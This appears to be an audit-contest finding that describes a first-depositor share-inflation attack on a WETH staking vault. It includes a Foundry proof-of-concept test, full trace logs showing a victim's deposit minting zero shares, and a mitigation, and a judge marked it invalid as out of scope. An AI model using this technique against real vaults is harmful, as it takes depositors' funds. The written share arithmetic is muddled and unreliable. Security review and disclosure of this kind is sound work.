Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: high
Invalid

First depositor attack.

Description:

The contract is susceptible to a first depositor attack, which occurs when an attacker sends the WETH token directly to the wethSteakVault contract thus receiving an unfair advantage due to an imbalance in the initial distribution of shares since the exchange rate of WETH to the share token is 1:1. In this case, the first depositor(attacker) can receive more shares than they are entitled to, resulting in an unequal distribution of the pools value.

Impact:

This vulnerability allows the first depositor(attacker) to gain an unfair portion of the total shares relative to their deposit, effectively diluting the shares of subsequent depositors. Over time, this can lead to significant imbalances in asset distribution, where early participants disproportionately benefit at the expense of later depositors, undermining the integrity and fairness of the staking process.

Proof of Concept:

  1. A user who staked 0.5 ether into the steaking contract. After the 4 week period, their staked ETH gets deposited into the wethSteakVault.

  2. The attacker frontruns the user transaction by transferring 0.6 ether directly to the wethSteakVault which shall make the attacker increase the total balance of the pool, while maintaining the number of shares in circulation.

  3. By the time the user 0.5 ether makes it to the vault, the calculation of their share ends up being zero due to the way pool shares are calculated with the total share balance.

The following is the share calculation right after the attacker first depositor attack;

amountOfDeposit * totalSupplyOfVault / balanceOfDeposit.

amountOfDeposit - How much a user is going to deposit.
totalSupplyOfVault - total Supply of Vault tokens.
balanceOfDeposit - vault's balance of deposit tokens.

The user shares would be calculated as follows;

(0.5 * 0.6) / 0.6 == 0.3 / 0.6

Which is going to result to 0.5.

There are no floating numbers in Solidity. So therefore the division is going to be rounded down to 0

The attack is fully demonstrated in the code below;

Code

Place the following into Steaking.t.sol.

function testFirstDepositorAttack() public {
deal(attacker, 10 ether);
vm.startPrank(attacker);
MockWETH(weth).deposit{value: 10 ether}();
MockWETH(weth).transferFrom(attacker, address(wethSteakVault), 0.6 ether);
vm.stopPrank();
uint256 dealAmount = steaking.getMinimumStakingAmount();
_startVaultDepositPhase(user1, dealAmount, user1);
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
uint256 wethSteakVaultShares = wethSteakVault.balanceOf(user1);
assertEq(wethSteakVaultShares, dealAmount);
}

Here are the logs that were shown:

[245371] SteakingTest::testFirstDepositorAttack()
├─ [0] VM::deal(0x0000000000000000000000000000000000000000, 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ [23914] MockWETH::deposit{value: 10000000000000000000}()
│ ├─ emit Deposit(dst: 0x0000000000000000000000000000000000000000, wad: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [25393] MockWETH::transferFrom(0x0000000000000000000000000000000000000000, MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], 600000000000000000 [6e17])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], value: 600000000000000000 [6e17])
│ └─ ← [Return] true
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [123] Steaking::getMinimumStakingAmount() [staticcall]
│ └─ ← [Return] 500000000000000000 [5e17]
├─ [0] VM::deal(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], 500000000000000000 [5e17])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [48607] Steaking::stake{value: 500000000000000000}(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ ├─ emit Staked(by: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], amount: 500000000000000000 [5e17], onBehalfOf: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(2419202 [2.419e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [25749] Steaking::setVaultAddress(MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2])
│ ├─ emit VaultAddressSet(vault: MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [78427] Steaking::depositIntoVault()
│ ├─ [23914] MockWETH::deposit{value: 500000000000000000}()
│ │ ├─ emit Deposit(dst: Steaking: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d], wad: 500000000000000000 [5e17])
│ │ └─ ← [Stop]
│ ├─ [24523] MockWETH::approve(MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], 500000000000000000 [5e17])
│ │ ├─ emit Approval(owner: Steaking: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d], spender: MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], value: 500000000000000000 [5e17])
│ │ └─ ← [Return] true
│ ├─ [17210] MockWETHSteakVault::deposit(500000000000000000 [5e17], user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ │ ├─ [541] MockWETH::balanceOf(MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2]) [staticcall]
│ │ │ └─ ← [Return] 600000000000000000 [6e17]
│ │ ├─ [4507] MockWETH::transferFrom(Steaking: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d], MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], 500000000000000000 [5e17])
│ │ │ ├─ emit Transfer(from: Steaking: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d], to: MockWETHSteakVault: [0x72cC13426cAfD2375FFABE56498437927805d3d2], value: 500000000000000000 [5e17])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], value: 0)
│ │ ├─ emit Deposit(sender: Steaking: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d], owner: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], assets: 500000000000000000 [5e17], shares: 0)
│ │ └─ ← [Return] 0
│ ├─ emit DepositedIntoVault(by: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], amount: 500000000000000000 [5e17], sharesReceived: 0)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [552] MockWETHSteakVault::balanceOf(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 500000000000000000 [5e17]) [staticcall]
│ └─ ← [Revert] assertion failed: 0 != 500000000000000000
└─ ← [Revert] assertion failed: 0 != 500000000000000000

In the assertion section. We can see that the exchange rate of the WETH and share token of the wethSteakVault had been altered due to the first depositor attack. Instead of the user getting the share token worth 0.5 of the share token. The user shares get rounded down to zero.

Recommended Mitigation:

Keeping track of total assets internally - This strategy aims to negate the effect of direct transfers by keeping track of the assets held by the vault internally. This means that donated tokens are not accounted for, which effectively eliminates the risk of inflation attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge
11 months ago
inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.